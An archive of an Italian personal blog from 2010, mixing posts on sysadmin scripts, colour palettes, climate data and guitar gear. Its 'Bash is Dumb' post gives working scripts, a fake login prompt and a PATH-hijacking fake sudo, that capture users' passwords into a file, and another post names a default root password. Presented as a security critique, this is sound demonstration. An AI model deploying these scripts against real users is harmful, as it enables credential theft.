Skip to content

2010

Unix e le password di default...

Qualche settimana fa ricevo un avviso automatico che segnala un probabile malfunzionamento ad un apparato hardware che abbiamo in sala macchine.
Ora, generalmente non mi occupo di queste cose, ma visto che in ufficio non c'era nessun altro prendo in carico la segnalazione e chiamo l'assistenza:

Tecnico help desk : Sì, sembrerebbe proprio un guasto hardware, se è così faccio subito uscire un tecnico per la riparazione. Possiamo fare un po' di troubleshooting per avere conferma che si tratti di proprio un guasto hardware?
Io : Certamente... ma mi deve spiegare come fare perché non è un apparato che conosco o che gestisco io!
Tecnico help desk : Allora intanto si colleghi alla console....
Io : V a bene! Mi dia un attimo di tempo che devo recuperare la password...
Tecnico help desk : La password? Nessun problema, quella gliela posso comunicare io!
Io : Ah, però! Conoscete le password degli apparati dei clienti? Che efficienza! :-)
Tecnico help desk : A llora, le detto le credenziali: l'utente è root, e la password abcde123
Io : Ehm, abcde123? Ma cos'è? La password di default?? Perché c'è una leggera probabilità che nella nostra azienda le password di default vengano modificate...
Tecnico help desk : (silenzio)
Io : Ehm, ma è la prima volta che vi capita un cliente che modifica la password dei propri apparati?
Tecnico help desk : (silenzio)

Una volta recuperata la vera password, ed una volta confermato il guasto hardware, nel giro di un paio d'ore arriva il tecnico on site:

Tecnico on site : Questo è il pezzo da sostituire. Ora dobbiamo entrare nella console e disabilitare quello guasto prima di scollegarlo.
Io : OK, mi collego alla console...
Tecnico on site : Perfetto... l'utente è root e la password è abcde123....

Sistemato anche questo, chiamo il nostro consulente e chiedo conferma che il problema sia stato risolto:

Consulente : Allora! Prima di lasciare andare via il tecnico, puoi fare qualche controllo?
Io : Certamente! Basta che mi spieghi come fare...
Consulente : Allora, ti colleghi alla console, la password è abcde123 e....

Uhm! Ho l'impressione che nel mondo Unix la sicurezza non sia sempre presa molto sul serio...

Process Killer

Quando un programma va in crash la colpa viene attribuita sempre al programmatore. Mentre quando un programma si blocca, o è troppo lento, è di certo per qualche misfatto dell'amministratore di sistema. Anche se magari il programma è scritto con i piedi ed è propenso all'inchiappettamento di tutti i server su cui gira.

Per ristabilire un po' di giustizia divina, ho pensato di killare senza pietà tutti i processi che utilizzano ferocemente la CPU per più di un determinato tempo. Metodo barbaro, ma molto in voga negli Unix dei vecchi tempi... e non solo.

Naturalmente nel mio caso si tratta di processi che dovrebbero essere molto leggeri ma per qualche strana ragione si incastrano e finiscono per utilizzare il processore a pieno regime, infastidendo anche tutti gli utenti di programmi buoni e gentili.

Come punto di partenza, direi di dare un'occhiata all'output del comando pslist , che lista tutti i processi in esecuzione su di una macchina (locale o remota, a patto di avere i privilegi necessari):

pslist v1.29 - Sysinternals PsList
Copyright (C) 2000-2009 Mark Russinovich
Sysinternals

Process information for ER-MEJO:

Name                Pid Pri Thd  Hnd   Priv        CPU Time    Elapsed Time 
Idle                  0   0   2    0      0    23:05:50.623     0:00:00.000
System                4   8 114 4338     52     0:11:32.114    28:42:03.487
smss                252  11   3   30    340     0:00:00.171    28:42:03.487
csrss               348  13   9 1033   2744     0:00:06.645    28:41:51.132
wininit             416  13   3   79    992     0:00:00.093    28:41:50.414
explorer           4448   8  36 1252  69768     0:07:39.797    28:41:04.882
iexplore           3772   8  13  382   7172     0:00:04.539     3:14:05.766
iexplore           5788   8  22  704  97632     0:05:51.345     3:14:02.648
PsList             4136  13   1  151   1980     0:00:00.187     0:00:00.172

le cui colonne interessanti sono le prime due (nome del process e PID) e le ultime due:

Elapsed Time: tempo totale di esecuzione del processo
CPU Time: tempo effettivamente utilizzato dal processo

ad esempio explorer è in esecuzione da 28 ore e 41 minuti, e durante questo periodo ha utilizzato la cpu per 7 minuti e 39 secondi. Proviamo a rilanciare il psexec e a vedere che cosa succede:

Name                Pid Pri Thd  Hnd   Priv        CPU Time    Elapsed Time 
Idle                  0   0   2    0      0    23:06:42.540     0:00:00.000
System                4   8 114 4342     52     0:11:32.426    28:42:33.493
smss                252  11   3   30    340     0:00:00.171    28:42:33.493
csrss               348  13   9 1050   2744     0:00:06.645    28:42:21.138
wininit             416  13   3   79    992     0:00:00.093    28:42:20.420
explorer           4448   8  42 1295  71484     0:07:40.234    28:41:34.888
iexplore           3772   8  13  389   7600     0:00:04.617     3:14:35.772
iexplore           5788   8  23  716  95520     0:05:53.513     3:14:32.654
PsList             1792  13   1  151   1988     0:00:00.171     0:00:00.156

il comando è stato lanciato circa 30 secondi dopo il primo, ed infatti tutto gli Elapsed Time sono aumentati circa di 30 secondi, processo PsList escluso ma se osserviamo bene si tratta di un nuovo processo con un nuovo PID.

Anche la colonna CPU Time è variata per alcuni processi, e se dividiamo il delta del CPU Time per il delta dell'Elapsed Time possiamo ottenere... la percentuale di utilizzo del processore di questo processo relativamente la periodo di tempo intercorso tra i due lanci del comando psexec.

Da notare che se la macchina dispone di più processori nel Task Manager di Windows vedremo la percentuale riferita a tutte le CPU: un processo che gira su di un singolo processore non potrà quindi superare il 25% di CPU se la macchina dispone di 4 processori.

Con il comando psexec invece non ci dobbiamo preoccupare del numero di processori che ha la macchina: il tempo di CPU utilizzato diviso il tempo di CPU avuto è disposizione può variare da zero a uno ed è l'utilizzo effettivo del signolo processore.

Ho scritto questo codice in Python che controlla ad intervalli regolari un elenco di server, e che giustizia tutti i processi che durante questo periodo di tempo hanno consumato più del 90% della propria CPU:

from __future__ import division
import subprocess
import re
import time

word = dict()
pausa = 30
servers = ('citrix01', 'citrix02', 'citrix03', 'server', 'server-2')

def milliSeconds(time):
  tm = re.match("(\d*)\:(\d*)\:(\d*)\.(\d*)", time)
  if tm:
    return long(tm.group(1)) * 60*60*1000 + long(tm.group(2)) * 60*1000 + long(tm.group(3)) * 1000 + long(tm.group(4))
  else:
    return 0

def getProcess(server, nome):
  pslist = subprocess.Popen('"c:\program files\utils\pslist.exe" \\\\' + server + ' ' + nome, shell=False, stdout=subprocess.PIPE)

  for line in pslist.stdout:
    proc = re.match("^(\w+)\s+(\d+)\s+(\d+)\s+(\d+)\s+(\d+)\s+(\d+)\s+([\w\:\.]+)\s+([\w\:\.]+)", line)
    if proc:
      serverPid = server + '.' + proc.group(2)
      if serverPid in word:
        if (milliSeconds(proc.group(7))-milliSeconds(word[serverPid][1]))/(milliSeconds(proc.group(8))-milliSeconds(word[serverPid][2]))>0.90:
          subprocess.Popen('"c:\program files\utils\pskill.exe" \\\\' + server + ' ' + word[serverPid][4])
      else:
        if proc.group(1) <> "Idle" and proc.group(1) <> "System":
          word[serverPid] = [proc.group(1), proc.group(7), proc.group(8), server, proc.group(2)]

def main():
  while True:
    for server in servers:
      getProcess(server, 'winword')
      time.sleep(pausa)

if __name__ == "__main__":
    main()

da sistemare per bene... e da usare con opportuna cautela!

Dati oggettivi ed interpretazione

Riguardo ai grafici che riportano l'andamento delle temperature della terra e che vengono presentati al grande pubblico, una cosa importante da sapere è che per ottenerli non è sufficiente inserire tutti i dati a disposizione su di un foglio Excel, cliccare su "Inserisci Grafico", e vedere che cosa ne viene fuori.
I grafici che vediamo sono il risultato di anni di analisi e pulizia.

Mi ricordo un fatto curioso e poco conosciuto, e cioè che tutti i grafici delle temperature degli ultimi anni presentavano un rapido aumento intorno alla metà degli anni 40, seguiti da una altrettanto rapida diminuzione.
Questa variazione era insolita, gli scienziati l'hanno considerata come un dato sporco o una anomalia, ed hanno deciso di "eliminarla".

Tutti i grafici ufficiali sono pertanto stati ripuliti e non presentano questo andamento.

Il procedimento seguito dagli scienziati, naturalmente, è corretto: i dati grezzi sono per loro natura pieni di sporchi, errori, rumore... ed il loro compito è di riuscire ad isolare il vero andamento delle temperature escludendo tutte le sporcizie; il picco in questione è stato isolato perché "stonava" e non pareva avere spiegazione logica, tuttavia eliminare dei dati ad intuito, senza sapere bene il perché, è sempre una sconfitta.

Leggevo su Le Scienze di Aprile 2009 un articolo in cui si dava finalmente una spiegazione a questo picco anomalo.
Da una analisi più approfondita si è visto che l'aumento riguardava infatti le temperature dei mari. Durante gli anni della guerra le navi di rilevazione erano soprattutto statunitensi mentre le navi internazionali avevano diminuito le rilevazioni.

Nelle navi internazionali la temperatura delle acque veniva rilevata tramite secchi calati in acqua che si raffreddano se portati in superficie, mentre nelle navi statunitensi si misurava la temperatura dell'acqua di raffreddamento dei motori, che è più calda della vera temperatura del mare.

Le temperature, naturalmente, erano già state corrette per tenere conto di questo fatto, ma dopo questo studio si è visto che la correzione da applicare non era precisa e doveva essere modificata.

Da un lato è stato dimostrato che l'intuizione è stata esatta e che quindi bene avevano fatto gli scienziati ad eliminare questo dato.

Da un altro punto di vista significa che anche la scienza, pur con dati assolutamente oggettivi a disposizione, è sempre e comunque soggetta all'intuito ed all'interpretazione umana.

Scegliere i colori: programmatori e buon gusto!

La scorsa settimana cercavo un paio di mensole colorate da abbinare ad un mobiletto da mettere in sala. Non trovando nulla di interessante ho provato a chiedere un parere ad un dipendente Ikea, il quale mi ha mostrato delle mensole più larghe rispetto al mobiletto, con un altro spessore, e di colore simile ma diverso.

Credo che i programmatori, quando devono scegliere i colori per i propri programmi o per le pagine web, siano come i dipendenti Ikea: completamente privi di ogni buon gusto.

Capita spesso di vedere utilizzate combinazioni estreme di colori: serve un rosso, un verde, od un blu? Niente di più semplice, si sceglie un buon #ff000 per il rosso, un #00ff00 come verde, e per finire un buon blu #0000ff:

ma questi colori sono pesanti, difficili da combinare, ed assolutamente stonati. La prima regola da ricordare è tutte le combinazioni di colori più estreme devono sempre essere evitate!

Molto meglio utilizzare qualche combinazione più leggera, come ad esempio questa con codice #74A697, #FC8626 e #15766F:

Questi colori stancano di meno e si combinano più facilmente. Ma come scegliere una buona palette di colori?

Un grafico probabilmente non ha nemmeno bisogno di porsi questa domanda, ma un trucco che può usare anche un non grafico consiste nello scegliere una foto colorata, ed estrarre da essa una combinazione di colori che ci piace:

prendiamo un po' della cabina telefonica... ed un altro po' del taxi giallo... ecco qui i nostri amici #e02a2f, #f6d06d e #fbab20:

che possono essere combinati in questo modo:

Data Euribor 1 mese Euribor 2 mesi Euribor 3 mesi Euribor 6 mesi
18 ottobre 2010 0,78% 1,00% 1,22% 1,49%
19 ottobre 2010 0,79% 1,01% 1,23% 1,50%
20 ottobre 2010 0,81% 1,02% 1,24% 1,51%
21 ottobre 2010 0,82% 1,03% 1,25% 1,51%
22 ottobre 2010 0,82% 1,03% 1,25% 1,52%

Naturalmente è solo un esempio, ma come punto di partenza va sempre bene.
Poi magari... un giorno lontano... sistemerò anche i colori di questo blog!

Bash is Dumb

Microsoft Windows è universalmente riconosciuto come il sistema operativo più insicuro della storia, e l'infinita quantità di sistemi attaccati con successo da software malvagio ce lo sta giornalmente a confermare. I vari Linux, Unix, e di conseguenza anche Mac, sono considerati intrinsecamente ed architetturalmente più sicuri. Ma sarà davvero così?

Prendendo spunto da qualche idea presa qua e là, ho voluto provare a vedere se il sistema è davvero così inattaccabile come si dice.

Spoofing negli anni 80
L'idea è semplice e banale, oltre che vecchia come il cucco. Come rubare le password agli utenti di *nix senza nemmeno usare tecniche di attacco brute force contro le hash degli utenti (che negli anni '80 erano accessibili a tutti)?
Più semplice che rubare caramelle ad un bambino: basta scrivere un bello script bash come il seguente:

while true; do
  clear
  echo -n Login:
  read login
  echo -n Password:
  read -s password
  echo \"$login\"; \"$password\" >> .password_rubate
  echo Sorry, please try again
done

lanciarlo in esecuzione, e spostarsi dalla postazione lasciando attiva la propria sessione.

Chiaro che tale tecnica di attacco ha delle evidenti controindicazioni : tanto per cominciare è in modalità testo ed oggi quasi tutti preferiscono la grafica; in secondo luogo un utente furbetto potrebbe facilmente accorgersi dell'inganno; in terzo luogo un amministratore lancerà un bel userdel vostroaccount , con gioia ed allegria. E' un tipico esempio di phishing (o spoofing), il classico scherzo da aula informatica universitaria.

Certo è un esempio banale, ma è interessante notare che il sistema non sta facendo nulla per proteggerci!

Spoofing Moderno
Il vecchio attacco potrebbe funzionare per davvero, ma se nessuno ne ha mai tratto grossi benefici forse una ragione c'è. Prendiamo spunto dall'esempio precedente, e saliamo (poco) di livello.

Su piattaforma *nix esistono dei programmi che richiedono l'inserimento di una password per svolgere alcune operazioni; tali programmi potrebbero richiedere la password di un utente non privilegiato, oppure dell'utente root. In questo modo si viene incentivati ad utilizzare account con privilegi limitati, e questo è bene.

Facciamo un breve controllo?

macbook-pro:~ fthiella$ echo $PATH
/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin
macbook-pro:~ fthiella$ which su
/usr/bin/su
macbook-pro:~ fthiella$ which sudo
/usr/bin/sudo

naturalmente su e sudo non sono file modificabili, e se scrivere un buon keylogger è complesso, eseguirlo senza privilegi è ancora più complicato. Vediamo se si può sfruttare qualche ingenuità della shell?

macbook-pro:~ fthiella$ touch ~/su
macbook-pro:~ fthiella$ chmod +x ~/su
macbook-pro:~ fthiella$ touch ~/sudo
macbook-pro:~ fthiella$ touch +x ~/sudo
macbook-pro:~ fthiella$ export PATH=~:$PATH
macbook-pro:~ fthiella$ which su
/Users/fthiella/su
macbook-pro:~ fthiella$ which sudo
/Users/fthiella/sudo

argh! Oppure anche questo è divertente:

macbook-pro:~ fthiella$ echo \#\!/bin/bash > ~/su
macbook-pro:~ fthiella$ echo echo Perepèperepè >> ~/su
macbook-pro:~ fthiella$ chmod +x ~/su
macbook-pro:~ fthiella$ echo \#!/bin/bash > ~/sudo
macbook-pro:~ fthiella$ echo echo Prrrrrrrrrrr >> ~/sudo
macbook-pro:~ fthiella$ chmod +x ~/sudo
macbook-pro:~ fthiella$ alias su=~/su
macbook-pro:~ fthiella$ alias sudo=~/sudo
macbook-pro:~ fthiella$ su -
Perepèperepè
macbook-pro:~ fthiella$ sudo apt-get update
Prrrrrrrrrrr

did you get the point?

Esempio
Beh supponiamo di riuscire a convincere un utente scemotto ad eseguire il seguente scriptino. Come convincerlo? Un po' di ingegneria sociale... un programma che sembra utile ma contiene qualche funzioncina non documentata... un bug di qualche applicativo (es. FireFox) anche se eseguito con privilegi limitati.

#!/bin/bash
if [[ `which sudo` == /usr/* ]]
then
  echo "echo -n \"Password:\"" > ~/sudo
  echo "read -s password" >> ~/sudo
  echo "echo \"\$password\" >> ~/.password_rubate" >> ~/sudo
  echo "echo \"\$password\" | `which su` -S \$1 \$2 \$3 \$4 \$5 \$6 \$7 \$8 \$9" >> ~/sudo
  chmod +x ~/sudo
  export PATH=~:$PATH
fi

funzionerà?

macbook-pro:~ fthiella$ echo $PATH
/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin
macbook-pro:~ fthiella$ . ./attack.sh
macbook-pro:~ fthiella$ echo $PATH
/Users/fthiella:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin
macbook-pro:~ fthiella$ cat ~/sudo
echo -n "Password:"
read -s password
echo "$password" >> ~/.steal_password
echo "$password" | /usr/bin/sudo -S $1 $2 $3 $4 $5 $6 $7 $8 $9
macbook-pro:~ fthiella$ sudo ls
Password:

è interessante notare che la richiesta di password arriva dal finto sudo, e non da quello vero. Mediante semplici impostazioni che non richiedono privilegi elevati, possiamo intercettare con gaudio le password del sistema.

Conclusioni
Gli esempi sono talmente banali che molti si domanderanno se si tratti sul serio di un problema architetturale di sicurezza. Certo per metterlo in pratica con successo ci vuole molto altro, ma un problema è difficile negare che non ci sia.

Forse impedire agli utenti di creare eseguibili nelle proprie aree aiuta molto (ma bisogna lavorare molto bene con i privilegi, e diventa un lavoro molto complesso).

Naturalmente queste tecniche non funzionano in modalità grafica, ma se la protezione non viene garantita dal sistema operativo, ho come il sospetto che qualche trucco funzionante lo si trovi comunque.

Utilizzare un pedale di espressione con il G-Major

Il G-Major è un multieffetto digitale prodotto dalla t.c. Electronic. Oggi si tratta di un modello fuori produzione, sostituito dal G-Major2, ma una decina di anni fa si è distinto per la sua trasparenza, per gli effetti di buona qualità, e per disporre di un doppio circuito di relay con cui simulare due interruttori (controllare un amplificatore valvolare via MIDI non ha prezzo).
Sfortunatamente le manopole sono come dire un tantino "delicate", anche se il buon RealMajor mi ha salvato la vita in parecchie occasioni.

Se con gli Invaders non l'ho mai sfruttato più di tanto (un filo di compressore, chorus e riverbero sui puliti; quasi zero riverbero sui crunch; poco delay sugli assoli), con i nuovissimi E-Liars invece mi serve un po' di tutto: chorus, phaser e delay, ma più spesso ancora octaver o pitch shifter. E perchè non un whammy? Anche se un po' vecchiotto il G-Major mi sembra ancora adeguato. Soltanto quando diventerò milionario grazie all'arbitrage probabilmente deciderò di sostituirlo.

Pedale di espressione

Tramite un pedale di espressione (collegabile direttamente al multieffetto) è possibile controllare uno o più parametri qualsiasi degli effetti. In alternativa, con un controller o pedaliera MIDI se ne possono pilotare fino a quattro.

Per controllare un parametro di un effetto (es. volume, pitch, mix, etc...) con un pedale di espressione (collegato direttamente al multieffetto), si può procedere così:

  • premere il tasto MOD , e scegliere M1 con la rotellina esterna;
  • assegnare M1 , con la rotellina interna, a Pedal ;
  • premere la rotellina interna;
  • con la rotellina esterna possiamo vedere l'elenco di tutti i parametri controllabili. Per controllare un parametro con il nostro pedale di espressione, assegniamo a questo parametro il nostro buon M1.
  • assegniamo quindi i valori MinOut(valore assegnato al parametro quando il pedale è al minimo), MidOut(valore assegnato quando il pedale è a metà), MaxOut(valore assegnato quando il pedale è al massimo)

Naturalmente con lo stesso pedale è possibile controllare più parametri diversi, anche in contemporanea, ognuno con la sua diversa curva di risposta. So far so good. Non chiedetemi come impostare più di un pedale di espressione: la mia pedaliera MIDI multi-pedale-di-espressione è defunta quando un gruppo di fan è saltato sul palco e... ma questa è un'altra storia. Ma avete visto che figata l'accordatore polifonico della t.c.electronic?

Processing Apollo


Sono sempre rimasto affascinato dai colori degli anni '70, ma non me la sono sentita di rendere la mia casa un pochino troppo scioccante. Non adesso, insomma. Magari più avanti ci penserò.

Per ora, credo di potermi accontentare di decorare allegramente il desktop del mio computer. E quale migliore occasione per sperimentare un po' di Processing?

Per prima cosa, vediamo di ricavare i cinque colori utilizzati nella figura, ad esempio in formato RGB, e per questo basta un qualsiasi programma di grafica:

int larghezza_figura = 100;
int altezza_figura = 100;

size(larghezza_figura*5, altezza_figura);
smooth();
noStroke();

pushMatrix();
fill(110, 50, 22); // colore 1
rect(0, 0, larghezza_figura, altezza_figura);

translate(larghezza_figura, 0);
fill(226, 180, 25); // colore 2
rect(0, 0, larghezza_figura, altezza_figura);

translate(larghezza_figura, 0);
fill(220, 115, 0); // colore 3
rect(0, 0, larghezza_figura, altezza_figura);

translate(larghezza_figura, 0);
fill(197, 75, 2); // colore 4
rect(0, 0, larghezza_figura, altezza_figura);

translate(larghezza_figura, 0);
fill(131, 37, 11); // colore 5
rect(0, 0, larghezza_figura, altezza_figura);
popMatrix();

Anche se i colori non sono precisi, va bene lo stesso, ed il risultato è una combinazione molto vintage e molto calda:

Penso che ci saranno molte occasioni in cui potrò riciclarla!

E per le dimensioni dei cerchi, che vanno via via a rimpicciolirsi? La scala non è fissa, e un buon risultato si ottiene partendo da una scala di 0,85 moltiplicata di volta in volta per 0,9. Ecco un esempio:

float dim_figura = 160;
float scala = 0.85;
float varia = 0.9;

size(int(dim_figura), int(dim_figura));
smooth();
noStroke();

pushMatrix();
background(110, 50, 22); // colore sfondo

dim_figura = dim_figura*scala;

fill(226, 180, 25); // colore 2
ellipse(width/2, height/2, dim_figura, dim_figura);

fill(220, 115, 0); // colore 3
scala = scala*varia;

dim_figura = dim_figura*scala;
ellipse(width/2, height/2, dim_figura, dim_figura);

fill(197, 75, 2); // colore 4
scala = scala*varia;
dim_figura = dim_figura*scala;
ellipse(width/2, height/2, dim_figura, dim_figura);

fill(131, 37, 11); // colore 5
scala = scala*varia;
dim_figura = dim_figura*scala;
ellipse(width/2, height/2, dim_figura, dim_figura);

popMatrix();

Le proporzioni ci assomigliano, ma manca ancora qualche cosa:

Sono certo che si possa fare di meglio, ma per ora il codice finale è il seguente:

float dim_figura = 160;
float scala = 0.85;
float varia = 0.9;

size(int(dim_figura), int(dim_figura));
smooth();
noStroke();

pushMatrix();
translate(width/2,height/2);
rotate(radians(45));
background(110, 50, 22); // colore sfondo

fill(226, 180, 25); // colore 2

dim_figura = dim_figura*scala;
ellipse(0, 0, dim_figura, dim_figura);

fill(220, 115, 0); // colore 3
scala = scala*varia;

translate((dim_figura-dim_figura*scala)/2, 0);
dim_figura = dim_figura*scala;
ellipse(0, 0, dim_figura, dim_figura);

fill(197, 75, 2); // colore 4
scala = scala*varia;

translate((dim_figura-dim_figura*scala)/2, 0);
dim_figura = dim_figura*scala;
ellipse(0, 0, dim_figura, dim_figura);

fill(131, 37, 11); // colore 5

scala = scala*varia;
translate((dim_figura-dim_figura*scala)/2, 0);
dim_figura = dim_figura*scala;
ellipse(0, 0, dim_figura, dim_figura);

translate(-width/2,-height/2);
popMatrix();

e il risultato, non sembra niente male!

Gestione Collegamenti LNK tramite VBS

È un dato di fatto: i desktop dei PC aziendali sono una schifezza. Sono pieni di collegamenti, magari vecchi ed obsoleti o che puntano al percorso errato.

A volte sono pieni di collegamenti scritti con le maiuscole, o con troppi spazi, o con troppo pochi spazi, oppure capitalizzati senza un criterio logico e comprensibile.

Spesso ancora i collegamenti vengono creati sul desktop (e quindi nel profilo) di ogni singolo utente , mentre a volte se ne starebbero più felici e contenti nel profilo All Users del computer.

Come rimediare ad una situazione del genere, e dare un tocco di pulizia e professionalità ai ~~catorci~~ PC della nostra azienda?
Con un poco di codice VBS, naturalmente!

Casi di utilizzo
Si potrebbero voler eliminare tutti i collegamenti non più necessari, quali ad esempio _\\ServerAziendale\Documenti\Incentivi_.

Oppure si potrebbero voler aggiornare dei collegamenti con un nuovo percorso (ad es. i collegamenti ad http://it.wikipedia.org potrebbero essere aggiornati alla nuova versione dell'enciclopedia all'indirizzo http://nonciclopedia.wikia.com).

In questo esempio farò molto di più!

Vado alla ricerca del collegamento ad un determinato programma (\\ServerAziendale\Programma\Start.exe) sul desktop di ogni singolo utente. Se almeno un utente dispone di questo link, li cancello tutti quanti, e ne ricreo uno solo (con il nome bello, pulito, e capitalizzato come si deve) nel desktop di All Users.

The Code

Set Start_Exe = CreateObject("System.Collections.ArrayList")

La variabile Start_Exe conterrà tutti gli eventuali link al nostro programma.

Rem *** Ricerca in tutti i profili ***

Const HKEY_LOCAL_MACHINE = &H80000002
Const HKEY_USERS         = &H80000003

strComputer = "."

Set objRegistry = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
Set ws = CreateObject("Wscript.Shell")
Set oFs = CreateObject("Scripting.FileSystemObject")

strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList"
objRegistry.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubkeys

For Each objSubkey In arrSubkeys
  strValueName = "ProfileImagePath"
  strSubPath = strKeyPath & "\" & objSubkey
  objRegistry.GetExpandedStringValue HKEY_LOCAL_MACHINE, strSubPath, strValueName, strProfile
  ScanDesktop(strProfile & "\Desktop") ' dispongo del percorso del desktop!
Next

strAllUsersDesktopPath = ws.SpecialFolders.Item("AllUsersDesktop")

rem *** se si vogliono ricreare anche i collegamenti in AllUsers già esistenti,
rem *** decommentare le seguenti righe
'ScanDesktop(strAllUsersDesktopPath)

Il codice precedente legge l'elenco dei percorsi dei profili, a partire dalla chiave HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList. Che fare se il desktop è stato redirezionato da qualche parte? Ci pensiamo un'altra volta, please!


Ed ecco il codice che ricrea i collegamenti:

Rem ***verifica se ci sono collegamenti al programma
If Start_Exe.Count > 0 Then
  Set objShtCut = ws.CreateShortcut(strAllUsersDesktopPath & "\Programma Aziendale.lnk")
  objShtCut.TargetPath = "\\ServerAziendale.dominio.dc\Programma\Start.exe"
  objShtCut.WorkingDirectory = "\\ServerAziendale.dominio.dc\Programma\"
  objShtCut.Save
  Set objShtCut = Nothing

  For Each Lnk in Start_Exe
    Set fl = oFs.GetFile(Lnk)
    fl.Delete
    Set fl = Nothing
  Next
End If

Manca niente? Manca il codice che scansiona ogni singolo Despol:

Sub ScanDesktop(profile)
  If oFs.FolderExists(profile) Then
    Set oFolder = oFs.GetFolder(profile)

    For Each oFile In oFolder.Files
    name = oFile.Name
    if len(name)>4 and UCase(right(name,4)) = ".LNK" then
      Set objShtCut = ws.CreateShortcut(profile & "\" & oFile.Name)
      Select Case UCase(objShtCut.TargetPath)
      Case "\\SERVERAZIENDALE\PROGRAMMA\START.EXE"
        Start_Exe.Add profile & "\" & oFile.Name
      Case "\\SERVERAZIENDALE.DOMINIO.DC\PROGRAMMA\START.EXE
        Start_Exe.Add profile & "\" & oFile.Name
      End Select
      Set objShtCut = Nothing
    End If
End Sub

Naturalmente nella nostra sub ScanDesktop possiamo identificare i collegamenti tramite il metodo che preferiamo.
E naturalmente, come al solito, sto allegramente ignorando molte condizioni d'errore. Ma la vita è troppo corta per la gestione adeguata degli errori. E in VBS non vi è traccia di Try Catch Finally... oppure sì?